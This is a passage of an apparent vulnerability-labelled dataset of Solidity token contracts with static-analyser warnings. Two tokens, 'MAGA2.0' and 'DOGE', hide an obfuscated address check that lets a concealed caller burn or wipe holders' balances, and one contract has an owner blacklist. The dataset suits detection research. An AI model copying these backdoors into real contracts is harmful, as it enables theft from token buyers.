'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4865aa0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4865aa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 74d3d95\n\t\t// reentrancy-benign | ID: 4865aa0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 74d3d95\n\t\t// reentrancy-benign | ID: 4865aa0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8aa0b0c): DJT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8aa0b0c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4865aa0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 74d3d95\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e1712f4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e1712f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1543fd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1543fd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e1712f4\n\t\t\t\t// reentrancy-eth | ID: 1543fd4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e1712f4\n\t\t\t\t\t// reentrancy-eth | ID: 1543fd4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1543fd4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1543fd4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1543fd4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e1712f4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1543fd4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1543fd4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e1712f4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e1712f4\n\t\t// reentrancy-events | ID: 74d3d95\n\t\t// reentrancy-benign | ID: 4865aa0\n\t\t// reentrancy-eth | ID: 1543fd4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet is the zero address\"\n );\n\n _TaxWallet = newTaxWallet;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4661d6f): DJT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _TaxWallet.transfer(amount)\n\t// Recommendation for 4661d6f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e1712f4\n\t\t// reentrancy-events | ID: 74d3d95\n\t\t// reentrancy-eth | ID: 1543fd4\n\t\t// arbitrary-send-eth | ID: 4661d6f\n _TaxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e56afe7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e56afe7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5cc8132): DJT.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5cc8132: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 14982c2): DJT.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 14982c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f2ca8f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f2ca8f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e56afe7\n\t\t// reentrancy-eth | ID: f2ca8f2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e56afe7\n\t\t// unused-return | ID: 5cc8132\n\t\t// reentrancy-eth | ID: f2ca8f2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e56afe7\n\t\t// unused-return | ID: 14982c2\n\t\t// reentrancy-eth | ID: f2ca8f2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e56afe7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f2ca8f2\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _TaxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10854.sol",
"size_bytes": 19780,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 48559712676659575563997538478757995171011681 *\n 10 ** 4 +\n 281474976718524;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"MAGA2.0\", unicode\"MAGA2.0\", 9, 2000000000) {}\n}\n",
"file_name": "solidity_code_10855.sol",
"size_bytes": 7154,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(\n unicode\"Department Of Government Effic\",\n unicode\"DOGE\",\n 9,\n 100000000000\n )\n {}\n}\n",
"file_name": "solidity_code_10856.sol",
"size_bytes": 7390,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: a038cf2\n _balances[from] = fromBalance - 